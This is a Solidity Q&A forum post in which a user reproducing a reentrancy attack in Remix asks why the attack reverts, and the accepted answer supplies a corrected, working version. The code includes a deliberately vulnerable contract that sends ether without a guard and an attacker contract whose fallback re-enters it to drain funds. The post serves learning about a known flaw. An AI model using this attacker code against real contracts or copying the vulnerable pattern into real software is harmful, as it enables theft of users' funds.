Solidity – Fixing ‘The Constructor Should Be Payable if You Send Value’ Error

solidity

hi i was trying to replicate reentracy attack that can exploit etherum contract

Below is the code

 pragma solidity ^0.4.19;
 contract Mutex {
 bool locked;


modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}

 function Mutex() public payable {
   locked=false;
}

function canBeAttacked() public  returns (uint) {
require(msg.sender.call.value(1 ether)());
return 7;
 }

/// This function is protected by a mutex
  function f() public noReentrancy returns (uint) {
require(msg.sender.call());
  return 7;
  }
 }

  contract attacker{
      bool again=false;
function attacker() public  {

   }   
      function() public  payable{
             if(!again){
              again=true;
            Mutex(msg.sender).canBeAttacked();
         }
     }
   function payment(Mutex mutex) public {
        mutex.canBeAttacked();
    }
 }

But when ever i click call payment method of attacker contract (Deployed on Virtual VM java script on remix) i get the following error

transact to attacker.payment errored: VM error: revert.
revert The transaction has been reverted to the initial state.
Note: The constructor should be payable if you send value. Debug the transaction to get more information.

What is wrong with this code?

Best Answer

Two issues that I can spot without actually running the code:

  1. The fallback function in attacker isn't payable, so it will revert when called by Mutex.
  2. The fallback function always calls back into Mutex, so this is an infinite recursive loop. Either Mutex will run out of ether or the transaction will run out of gas. Either way, the require(msg.sender.call...) line in Mutex will revert.

EDIT

Fixed code below. (I added a getBalance function just to make it easy in Remix to verify that things worked.)

pragma solidity ^0.4.21;

contract Mutex {
    bool locked;
    modifier noReentrancy() {
        require(!locked);
        locked = true;
        _;
        locked = false;
    }

    function Mutex() public payable { }

    function canBeAttacked() public returns (uint) {
        require(msg.sender.call.value(1 ether)());
        return 7;
    }

    // This function is protected by a mutex
    function f() public noReentrancy returns (uint) {
        require(msg.sender.call());
        return 7;
    }
}

contract Attacker {
    function () public payable {
        if (msg.sender.balance >= 1 ether) {
            Mutex(msg.sender).canBeAttacked();
        }
    }

    function payment(Mutex mutex) public {
        mutex.canBeAttacked();
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
Related Topic